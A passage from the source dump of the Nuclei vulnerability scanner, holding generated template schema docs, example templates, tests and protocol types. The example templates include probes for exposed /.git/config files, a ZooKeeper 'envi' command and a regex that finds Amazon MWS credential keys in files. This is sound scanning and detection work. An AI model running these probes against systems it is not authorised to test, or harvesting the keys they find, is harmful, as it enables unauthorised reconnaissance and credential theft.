3)\n\tWHOISRequestDoc.Fields[0].Name = \"id\"\n\tWHOISRequestDoc.Fields[0].Type = \"string\"\n\tWHOISRequestDoc.Fields[0].Note = \"\"\n\tWHOISRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tWHOISRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tWHOISRequestDoc.Fields[1].Name = \"query\"\n\tWHOISRequestDoc.Fields[1].Type = \"string\"\n\tWHOISRequestDoc.Fields[1].Note = \"\"\n\tWHOISRequestDoc.Fields[1].Description = \"Query contains query for the request\"\n\tWHOISRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Query contains query for the request\"\n\tWHOISRequestDoc.Fields[2].Name = \"server\"\n\tWHOISRequestDoc.Fields[2].Type = \"string\"\n\tWHOISRequestDoc.Fields[2].Note = \"\"\n\tWHOISRequestDoc.Fields[2].Description = \"description: |\\n \t Optional WHOIS server URL.\\n\\n \t If present, specifies the WHOIS server to execute the Request on.\\n   Otherwise, nil enables bootstrapping\"\n\tWHOISRequestDoc.Fields[2].Comments[encoder.LineComment] = \" description: |\"\n\n\tCODERequestDoc.Type = \"code.Request\"\n\tCODERequestDoc.Comments[encoder.LineComment] = \" Request is a request for the SSL protocol\"\n\tCODERequestDoc.Description = \"Request is a request for the SSL protocol\"\n\tCODERequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"code\",\n\t\t},\n\t}\n\tCODERequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t}\n\tCODERequestDoc.Fields = make([]encoder.Doc, 6)\n\tCODERequestDoc.Fields[0].Name = \"id\"\n\tCODERequestDoc.Fields[0].Type = \"string\"\n\tCODERequestDoc.Fields[0].Note = \"\"\n\tCODERequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tCODERequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tCODERequestDoc.Fields[1].Name = \"engine\"\n\tCODERequestDoc.Fields[1].Type = \"[]string\"\n\tCODERequestDoc.Fields[1].Note = \"\"\n\tCODERequestDoc.Fields[1].Description = \"Engine type\"\n\tCODERequestDoc.Fields[1].Comments[encoder.LineComment] = \"Engine type\"\n\tCODERequestDoc.Fields[2].Name = \"pre-condition\"\n\tCODERequestDoc.Fields[2].Type = \"string\"\n\tCODERequestDoc.Fields[2].Note = \"\"\n\tCODERequestDoc.Fields[2].Description = \"PreCondition is a condition which is evaluated before sending the request.\"\n\tCODERequestDoc.Fields[2].Comments[encoder.LineComment] = \"PreCondition is a condition which is evaluated before sending the request.\"\n\tCODERequestDoc.Fields[3].Name = \"args\"\n\tCODERequestDoc.Fields[3].Type = \"[]string\"\n\tCODERequestDoc.Fields[3].Note = \"\"\n\tCODERequestDoc.Fields[3].Description = \"Engine Arguments\"\n\tCODERequestDoc.Fields[3].Comments[encoder.LineComment] = \"Engine Arguments\"\n\tCODERequestDoc.Fields[4].Name = \"pattern\"\n\tCODERequestDoc.Fields[4].Type = \"string\"\n\tCODERequestDoc.Fields[4].Note = \"\"\n\tCODERequestDoc.Fields[4].Description = \"Pattern preferred for file name\"\n\tCODERequestDoc.Fields[4].Comments[encoder.LineComment] = \"Pattern preferred for file name\"\n\tCODERequestDoc.Fields[5].Name = \"source\"\n\tCODERequestDoc.Fields[5].Type = \"string\"\n\tCODERequestDoc.Fields[5].Note = \"\"\n\tCODERequestDoc.Fields[5].Description = \"Source File/Snippet\"\n\tCODERequestDoc.Fields[5].Comments[encoder.LineComment] = \"Source File/Snippet\"\n\n\tJAVASCRIPTRequestDoc.Type = \"javascript.Request\"\n\tJAVASCRIPTRequestDoc.Comments[encoder.LineComment] = \" Request is a request for the javascript protocol\"\n\tJAVASCRIPTRequestDoc.Description = \"Request is a request for the javascript protocol\"\n\tJAVASCRIPTRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"javascript\",\n\t\t},\n\t}\n\tJAVASCRIPTRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"response\",\n\t\t\tValue: \"Javascript protocol result response\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t}\n\tJAVASCRIPTRequestDoc.Fields = make([]encoder.Doc, 9)\n\tJAVASCRIPTRequestDoc.Fields[0].Name = \"id\"\n\tJAVASCRIPTRequestDoc.Fields[0].Type = \"string\"\n\tJAVASCRIPTRequestDoc.Fields[0].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[0].Description = \"description: |\\n ID is request id in that protocol\"\n\tJAVASCRIPTRequestDoc.Fields[0].Comments[encoder.LineComment] = \" description: |\"\n\tJAVASCRIPTRequestDoc.Fields[1].Name = \"init\"\n\tJAVASCRIPTRequestDoc.Fields[1].Type = \"string\"\n\tJAVASCRIPTRequestDoc.Fields[1].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[1].Description = \"Init is javascript code to execute after compiling template and before executing it on any target\\nThis is helpful for preparing payloads or other setup that maybe required for exploits\"\n\tJAVASCRIPTRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Init is javascript code to execute after compiling template and before executing it on any target\"\n\tJAVASCRIPTRequestDoc.Fields[2].Name = \"pre-condition\"\n\tJAVASCRIPTRequestDoc.Fields[2].Type = \"string\"\n\tJAVASCRIPTRequestDoc.Fields[2].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[2].Description = \"PreCondition is a condition which is evaluated before sending the request.\"\n\tJAVASCRIPTRequestDoc.Fields[2].Comments[encoder.LineComment] = \"PreCondition is a condition which is evaluated before sending the request.\"\n\tJAVASCRIPTRequestDoc.Fields[3].Name = \"args\"\n\tJAVASCRIPTRequestDoc.Fields[3].Type = \"map[string]interface{}\"\n\tJAVASCRIPTRequestDoc.Fields[3].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[3].Description = \"Args contains the arguments to pass to the javascript code.\"\n\tJAVASCRIPTRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Args contains the arguments to pass to the javascript code.\"\n\tJAVASCRIPTRequestDoc.Fields[4].Name = \"code\"\n\tJAVASCRIPTRequestDoc.Fields[4].Type = \"string\"\n\tJAVASCRIPTRequestDoc.Fields[4].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[4].Description = \"Code contains code to execute for the javascript request.\"\n\tJAVASCRIPTRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Code contains code to execute for the javascript request.\"\n\tJAVASCRIPTRequestDoc.Fields[5].Name = \"stop-at-first-match\"\n\tJAVASCRIPTRequestDoc.Fields[5].Type = \"bool\"\n\tJAVASCRIPTRequestDoc.Fields[5].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[5].Description = \"StopAtFirstMatch stops processing the request at first match.\"\n\tJAVASCRIPTRequestDoc.Fields[5].Comments[encoder.LineComment] = \"StopAtFirstMatch stops processing the request at first match.\"\n\tJAVASCRIPTRequestDoc.Fields[6].Name = \"attack\"\n\tJAVASCRIPTRequestDoc.Fields[6].Type = \"generators.AttackTypeHolder\"\n\tJAVASCRIPTRequestDoc.Fields[6].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[6].Description = \"Attack is the type of payload combinations to perform.\\n\\nSniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tJAVASCRIPTRequestDoc.Fields[6].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tJAVASCRIPTRequestDoc.Fields[7].Name = \"threads\"\n\tJAVASCRIPTRequestDoc.Fields[7].Type = \"int\"\n\tJAVASCRIPTRequestDoc.Fields[7].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[7].Description = \"Payload concurrency i.e threads for sending requests.\"\n\tJAVASCRIPTRequestDoc.Fields[7].Comments[encoder.LineComment] = \"Payload concurrency i.e threads for sending requests.\"\n\n\tJAVASCRIPTRequestDoc.Fields[7].AddExample(\"Send requests using 10 concurrent threads\", 10)\n\tJAVASCRIPTRequestDoc.Fields[8].Name = \"payloads\"\n\tJAVASCRIPTRequestDoc.Fields[8].Type = \"map[string]interface{}\"\n\tJAVASCRIPTRequestDoc.Fields[8].Note = \"\"\n\tJAVASCRIPTRequestDoc.Fields[8].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tJAVASCRIPTRequestDoc.Fields[8].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\n\tHTTPSignatureTypeHolderDoc.Type = \"http.SignatureTypeHolder\"\n\tHTTPSignatureTypeHolderDoc.Comments[encoder.LineComment] = \" SignatureTypeHolder is used to hold internal type of the signature\"\n\tHTTPSignatureTypeHolderDoc.Description = \"SignatureTypeHolder is used to hold internal type of the signature\"\n\tHTTPSignatureTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"signature\",\n\t\t},\n\t}\n\tHTTPSignatureTypeHolderDoc.Fields = make([]encoder.Doc, 0)\n\n\tVARIABLESVariableDoc.Type = \"variables.Variable\"\n\tVARIABLESVariableDoc.Comments[encoder.LineComment] = \" Variable is a key-value pair of strings that can be used\"\n\tVARIABLESVariableDoc.Description = \"Variable is a key-value pair of strings that can be used\\n throughout template.\"\n\tVARIABLESVariableDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"variables\",\n\t\t},\n\t}\n\tVARIABLESVariableDoc.Fields = make([]encoder.Doc, 0)\n}\n\n// GetTemplateDoc returns documentation for the file templates_doc.go.\nfunc GetTemplateDoc() *encoder.FileDoc {\n\treturn &encoder.FileDoc{\n\t\tName:        \"Template\",\n\t\tDescription: \"\",\n\t\tStructs: []*encoder.Doc{\n\t\t\t&TemplateDoc,\n\t\t\t&MODELInfoDoc,\n\t\t\t&STRINGSLICEStringSliceDoc,\n\t\t\t&STRINGSLICERawStringSliceDoc,\n\t\t\t&SEVERITYHolderDoc,\n\t\t\t&MODELClassificationDoc,\n\t\t\t&HTTPRequestDoc,\n\t\t\t&GENERATORSAttackTypeHolderDoc,\n\t\t\t&HTTPMethodTypeHolderDoc,\n\t\t\t&FUZZRuleDoc,\n\t\t\t&SliceOrMapSliceDoc,\n\t\t\t&ANALYZERSAnalyzerTemplateDoc,\n\t\t\t&SignatureTypeHolderDoc,\n\t\t\t&MATCHERSMatcherDoc,\n\t\t\t&MatcherTypeHolderDoc,\n\t\t\t&DNSRequestDoc,\n\t\t\t&DNSRequestTypeHolderDoc,\n\t\t\t&FILERequestDoc,\n\t\t\t&NETWORKRequestDoc,\n\t\t\t&NETWORKInputDoc,\n\t\t\t&NetworkInputTypeHolderDoc,\n\t\t\t&HEADLESSRequestDoc,\n\t\t\t&ENGINEActionDoc,\n\t\t\t&ActionTypeHolderDoc,\n\t\t\t&USERAGENTUserAgentHolderDoc,\n\t\t\t&SSLRequestDoc,\n\t\t\t&WEBSOCKETRequestDoc,\n\t\t\t&WEBSOCKETInputDoc,\n\t\t\t&WHOISRequestDoc,\n\t\t\t&CODERequestDoc,\n\t\t\t&JAVASCRIPTRequestDoc,\n\t\t\t&HTTPSignatureTypeHolderDoc,\n\t\t\t&VARIABLESVariableDoc,\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "pkg/templates/templates_doc_examples.go",
    "content": "// Package templates\n// nolint //do not lint as examples with no usage\npackage templates\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/file\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network\"\n)\n\nvar (\n\texampleInfoStructure = model.Info{\n\t\tName:           \"Argument Injection in Ruby Dragonfly\",\n\t\tAuthors:        stringslice.StringSlice{Value: \"0xspara\"},\n\t\tSeverityHolder: severity.Holder{Severity: severity.High},\n\t\tReference:      stringslice.NewRawStringSlice(\"https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/\"),\n\t\tTags:           stringslice.StringSlice{Value: \"cve,cve2021,rce,ruby\"},\n\t}\n\texampleNormalHTTPRequest = &http.Request{\n\t\tMethod: http.HTTPMethodTypeHolder{MethodType: http.HTTPGet},\n\t\tPath:   []string{\"{{BaseURL}}/.git/config\"},\n\t\tOperators: operators.Operators{\n\t\t\tMatchersCondition: \"and\",\n\t\t\tMatchers: []*matchers.Matcher{\n\t\t\t\t{Type: matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher}, Words: []string{\"[core]\"}},\n\t\t\t\t{Type: matchers.MatcherTypeHolder{MatcherType: matchers.DSLMatcher}, DSL: []string{\"!contains(tolower(body), '<html')\", \"!contains(tolower(body), '<body')\"}, Condition: \"and\"},\n\t\t\t\t{Type: matchers.MatcherTypeHolder{MatcherType: matchers.StatusMatcher}, Status: []int{200}}},\n\t\t},\n\t}\n\t_ = exampleNormalHTTPRequest\n\n\trecursion               = false\n\texampleNormalDNSRequest = &dns.Request{\n\t\tName:        \"{{FQDN}}\",\n\t\tRequestType: dns.DNSRequestTypeHolder{DNSRequestType: dns.CNAME},\n\t\tClass:       \"inet\",\n\t\tRetries:     2,\n\t\tRecursion:   &recursion,\n\t\tOperators: operators.Operators{\n\t\t\tExtractors: []*extractors.Extractor{\n\t\t\t\t{Type: extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor}, Regex: []string{\"ec2-[-\\\\d]+\\\\.compute[-\\\\d]*\\\\.amazonaws\\\\.com\", \"ec2-[-\\\\d]+\\\\.[\\\\w\\\\d\\\\-]+\\\\.compute[-\\\\d]*\\\\.amazonaws\\\\.com\"}},\n\t\t\t},\n\t\t},\n\t}\n\t_ = exampleNormalDNSRequest\n\n\texampleNormalFileRequest = &file.Request{\n\t\tExtensions: []string{\"all\"},\n\t\tOperators: operators.Operators{\n\t\t\tExtractors: []*extractors.Extractor{\n\t\t\t\t{Type: extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor}, Regex: []string{\"amzn\\\\.mws\\\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\"}},\n\t\t\t},\n\t\t},\n\t}\n\t_ = exampleNormalFileRequest\n\n\texampleNormalNetworkRequest = &network.Request{\n\t\tInputs:   []*network.Input{{Data: \"envi\\r\\nquit\\r\\n\"}},\n\t\tAddress:  []string{\"{{Hostname}}\", \"{{Hostname}}:2181\"},\n\t\tReadSize: 2048,\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{\n\t\t\t\t{Type: matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher}, Words: []string{\"zookeeper.version\"}},\n\t\t\t},\n\t\t},\n\t}\n\t_ = exampleNormalNetworkRequest\n)\n"
  },
  {
    "path": "pkg/templates/templates_test.go",
    "content": "package templates\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/stretchr/testify/require\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nfunc TestCachePoolZeroing(t *testing.T) {\n\tc := NewCache()\n\n\ttpl := &Template{ID: \"x\"}\n\traw := []byte(\"SOME BIG RAW\")\n\n\tc.Store(\"id1\", tpl, raw, nil)\n\tgotTpl, gotErr := c.Get(\"id1\")\n\tif gotErr != nil {\n\t\tt.Fatalf(\"unexpected err: %v\", gotErr)\n\t}\n\tif gotTpl == nil || gotTpl.ID != \"x\" {\n\t\tt.Fatalf(\"unexpected tpl: %#v\", gotTpl)\n\t}\n\n\t// StoreWithoutRaw should not retain raw\n\tc.StoreWithoutRaw(\"id2\", tpl, nil)\n\tgotTpl2, gotErr2 := c.Get(\"id2\")\n\tif gotErr2 != nil {\n\t\tt.Fatalf(\"unexpected err: %v\", gotErr2)\n\t}\n\tif gotTpl2 == nil || gotTpl2.ID != \"x\" {\n\t\tt.Fatalf(\"unexpected tpl2: %#v\", gotTpl2)\n\t}\n}\n\nfunc TestTemplateStruct(t *testing.T) {\n\ttemplatePath := \"./tests/match-1.yaml\"\n\tbin, err := os.ReadFile(templatePath)\n\trequire.Nil(t, err, \"failed to load example template\")\n\tvar yamlTemplate Template\n\terr = yaml.Unmarshal(bin, &yamlTemplate)\n\trequire.Nil(t, err, \"failed to unmarshal yaml template\")\n\tjsonBin, err := json.Marshal(yamlTemplate)\n\trequire.Nil(t, err, \"failed to marshal template to json\")\n\tvar jsonTemplate Template\n\terr = json.Unmarshal(jsonBin, &jsonTemplate)\n\trequire.Nil(t, err, \"failed to unmarshal json template\")\n\n\ttemplatePath = \"./tests/json-template.json\"\n\tbin, err = os.ReadFile(templatePath)\n\trequire.Nil(t, err, \"failed to load example template\")\n\tjsonTemplate = Template{}\n\terr = json.Unmarshal(bin, &jsonTemplate)\n\trequire.Nil(t, err, \"failed to unmarshal json template\")\n\tyamlBin, err := yaml.Marshal(jsonTemplate)\n\trequire.Nil(t, err, \"failed to marshal template to yaml\")\n\tyamlTemplate = Template{}\n\terr = yaml.Unmarshal(yamlBin, &yamlTemplate)\n\trequire.Nil(t, err, \"failed to unmarshal yaml template\")\n}\n"
  },
  {
    "path": "pkg/templates/templates_utils.go",
    "content": "package templates\n\nimport \"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\n// HasRequest returns true if the given requests slice is non-empty.\n//\n// If n is provided, it checks for more than n requests.\nfunc HasRequest[T protocols.Request](requests []T, n ...int) bool {\n\tif len(n) > 0 {\n\t\treturn len(requests) > n[0]\n\t}\n\n\treturn len(requests) > 0\n}\n\n// HasDNSRequest returns true if the template has a DNS request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasDNSRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsDNS, n...)\n}\n\n// HasFileRequest returns true if the template has a File request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasFileRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsFile, n...)\n}\n\n// HasHTTPRequest returns true if the template has an HTTP request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasHTTPRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsHTTP, n...)\n}\n\n// HasHeadlessRequest returns true if the template has a Headless protocol\n// request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasHeadlessRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsHeadless, n...)\n}\n\n// HasNetworkRequest returns true if the template has a Network protocol\n// request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasNetworkRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsNetwork, n...)\n}\n\n// HasSSLRequest returns true if the template has an SSL request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasSSLRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsSSL, n...)\n}\n\n// HasWebsocketRequest returns true if the template has a Websocket protocol\n// request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasWebsocketRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsWebsocket, n...)\n}\n\n// HasWHOISRequest returns true if the template has a WHOIS request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasWHOISRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsWHOIS, n...)\n}\n\n// HasCodeRequest returns true if the template has a Code request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasCodeRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsCode, n...)\n}\n\n// HasJavascriptRequest returns true if the template has a Javascript protocol\n// request.\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasJavascriptRequest(n ...int) bool {\n\treturn HasRequest(t.RequestsJavascript, n...)\n}\n\n// HasQueueRequests returns true if the template has queued requests.\n//\n// Queued requests contain all template requests in order (both protocol &\n// request order).\n//\n// If n is provided, it checks for more than n requests.\nfunc (t *Template) HasQueueRequests(n ...int) bool {\n\treturn HasRequest(t.RequestsQueue, n...)\n}\n\n// HasWorkflows returns true if the template has workflows defined.\nfunc (t *Template) HasWorkflows() bool {\n\treturn len(t.Workflows) > 0\n}\n\n// IsFuzzableRequest returns true if the template has at least one request with\n// fuzzing configured.\n//\n// Currently, it checks across HTTP and Headless requests.\nfunc (t *Template) IsFuzzableRequest() bool {\n\tif t.HasHTTPRequest() {\n\t\tfor _, request := range t.RequestsHTTP {\n\t\t\tif request.HasFuzzing() {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.HasHeadlessRequest() {\n\t\tfor _, request := range t.RequestsHeadless {\n\t\t\tif request.HasFuzzing() {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\n// IsFlowTemplate returns true if the template has a flow defined.\nfunc (template *Template) IsFlowTemplate() bool {\n\treturn template.Flow != \"\" && len(template.Flow) > 0\n}\n\n// IsGlobalMatchersTemplate returns true if the template has global matchers\n// defined.\nfunc (template *Template) IsGlobalMatchersTemplate() bool {\n\treturn template.Options != nil &&\n\t\ttemplate.Options.GlobalMatchers != nil &&\n\t\ttemplate.Options.GlobalMatchers.HasMatchers()\n}\n"
  },
  {
    "path": "pkg/templates/tests/global-matcher.yaml",
    "content": "id: global-matcher-test\n\ninfo:\n  name: Global Matcher Test Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    global-matchers: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"test\"\n"
  },
  {
    "path": "pkg/templates/tests/json-template.json",
    "content": "{\n  \"id\": \"go-integration-test\",\n  \"info\": {\n    \"name\": \"Basic Go Integration Test\",\n    \"author\": \"pdteam\",\n    \"severity\": \"info\"\n  },\n  \"requests\": [\n    {\n      \"method\": \"GET\",\n      \"path\": [\n        \"{{BaseURL}}\"\n      ],\n      \"headers\": {\n        \"test\": \"nuclei\"\n      },\n      \"matchers\": [\n        {\n          \"type\": \"word\",\n          \"words\": [\n            \"This is test headers matcher text\"\n          ]\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "pkg/templates/tests/match-1.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nrequests:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\"\n"
  },
  {
    "path": "pkg/templates/tests/multiproto.json",
    "content": "{\n    \"id\": \"nuclei-multi-protocol\",\n    \"info\": {\n      \"name\": \"multi protocol support\",\n      \"author\": \"pdteam\",\n      \"severity\": \"info\"\n    },\n    \"dns\": [\n      {\n        \"name\": \"{{FQDN}}\",\n        \"type\": \"cname\"\n      }\n    ],\n    \"ssl\": [\n      {\n        \"address\": \"{{Hostname}}\"\n      }\n    ],\n    \"http\": [\n      {\n        \"method\": \"GET\",\n        \"path\": [\n          \"{{BaseURL}}\"\n        ],\n        \"headers\": {\n          \"Host\": \"{{ssl_subject_cn}}\",\n          \"Metadata\": \"{{ssl_cipher}}\"\n        },\n        \"matchers\": [\n          {\n            \"type\": \"dsl\",\n            \"dsl\": [\n              \"http_status_code == 404\",\n              \"contains(dns_cname, 'github.io')\"\n            ],\n            \"condition\": \"and\"\n          }\n        ]\n      }\n    ]\n}"
  },
  {
    "path": "pkg/templates/tests/multiproto.yaml",
    "content": "id: nuclei-multi-protocol\n\ninfo:\n  name: multi protocol support\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\" # dns request \n    type: cname\n\nssl:\n  - address: \"{{Hostname}}\" # ssl request\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\" # http request\n\n    headers:\n      Host: \"{{ssl_subject_cn}}\" # host extracted from ssl request\n      Metadata: \"{{ssl_cipher}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          # - contains(http_body,'File not found') # check for http string\n          - http_status_code == 404\n          - contains(dns_cname, 'github.io') # check for cname\n        condition: and                                                                       "
  },
  {
    "path": "pkg/templates/tests/no-author.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  severity: info\n\nrequests:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\"\n"
  },
  {
    "path": "pkg/templates/tests/no-req.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nrequests:\n\n"
  },
  {
    "path": "pkg/templates/tests/workflow-global-matchers.yaml",
    "content": "id: workflow-global-matchers\n\ninfo:\n  name: Workflow With Global Matchers\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: tests/match-1.yaml\n  - template: tests/global-matcher.yaml\n"
  },
  {
    "path": "pkg/templates/tests/workflow-invalid.yaml",
    "content": "id: workflow-example\n\ninfo:\n  name: Test Invalid Workflow Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        POST /re HTTP/1.1\n        Host: {{Hostname}}\n\n        {{code_response}}\n\nworkflows:\n  - template: tests/match-1.yaml\n  - template: tests/match-1.yaml\n"
  },
  {
    "path": "pkg/templates/tests/workflow.yaml",
    "content": "id: workflow-example\n\ninfo:\n  name: Test Workflow Template\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: tests/match-1.yaml\n  - template: tests/match-1.yaml\n"
  },
  {
    "path": "pkg/templates/types/cluster_mappings.go",
    "content": "package types\n\n// ClusterMappingsMap wraps cluster ID to template IDs mapping\ntype ClusterMappingsMap struct {\n\tMap map[string][]string\n}\n\n// NewClusterMappingsMap creates a new ClusterMappingsMap from an existing map\nfunc NewClusterMappingsMap(m map[string][]string) *ClusterMappingsMap {\n\treturn &ClusterMappingsMap{Map: m}\n}\n\n// Get returns the template IDs for a given cluster ID, or nil, false if the receiver or Map is nil\nfunc (c *ClusterMappingsMap) Get(clusterID string) ([]string, bool) {\n\tif c == nil || c.Map == nil {\n\t\treturn nil, false\n\t}\n\tv, ok := c.Map[clusterID]\n\treturn v, ok\n}\n\n// GetAll returns a copy of the entire map, or an empty map if the receiver or Map is nil\nfunc (c *ClusterMappingsMap) GetAll() map[string][]string {\n\tif c == nil || c.Map == nil {\n\t\treturn make(map[string][]string)\n\t}\n\tresult := make(map[string][]string, len(c.Map))\n\tfor k, v := range c.Map {\n\t\tresult[k] = append([]string{}, v...)\n\t}\n\treturn result\n}\n\n// Copy returns a deep copy of the ClusterMappingsMap, or nil if the receiver is nil\nfunc (c *ClusterMappingsMap) Copy() *ClusterMappingsMap {\n\tif c == nil {\n\t\treturn nil\n\t}\n\treturn NewClusterMappingsMap(c.GetAll())\n}\n"
  },
  {
    "path": "pkg/templates/types/types.go",
    "content": "package types\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// ProtocolType is the type of the request protocol specified\ntype ProtocolType int\n\n// Supported values for the ProtocolType\n// name:ProtocolType\nconst (\n\t// name:dns\n\tDNSProtocol ProtocolType = iota + 1\n\t// name:file\n\tFileProtocol\n\t// name:http\n\tHTTPProtocol\n\t// name:offline-http\n\tOfflineHTTPProtocol\n\t// name:headless\n\tHeadlessProtocol\n\t// name:network\n\tNetworkProtocol\n\t// name:workflow\n\tWorkflowProtocol\n\t// name:ssl\n\tSSLProtocol\n\t// name:websocket\n\tWebsocketProtocol\n\t// name:whois\n\tWHOISProtocol\n\t// name:code\n\tCodeProtocol\n\t// name: js\n\tJavascriptProtocol\n\tlimit\n\tInvalidProtocol\n)\n\n// ExtractorTypes is a table for conversion of extractor type from string.\nvar protocolMappings = map[ProtocolType]string{\n\tInvalidProtocol:    \"invalid\",\n\tDNSProtocol:        \"dns\",\n\tFileProtocol:       \"file\",\n\tHTTPProtocol:       \"http\",\n\tHeadlessProtocol:   \"headless\",\n\tNetworkProtocol:    \"tcp\",\n\tWorkflowProtocol:   \"workflow\",\n\tSSLProtocol:        \"ssl\",\n\tWebsocketProtocol:  \"websocket\",\n\tWHOISProtocol:      \"whois\",\n\tCodeProtocol:       \"code\",\n\tJavascriptProtocol: \"javascript\",\n}\n\nfunc 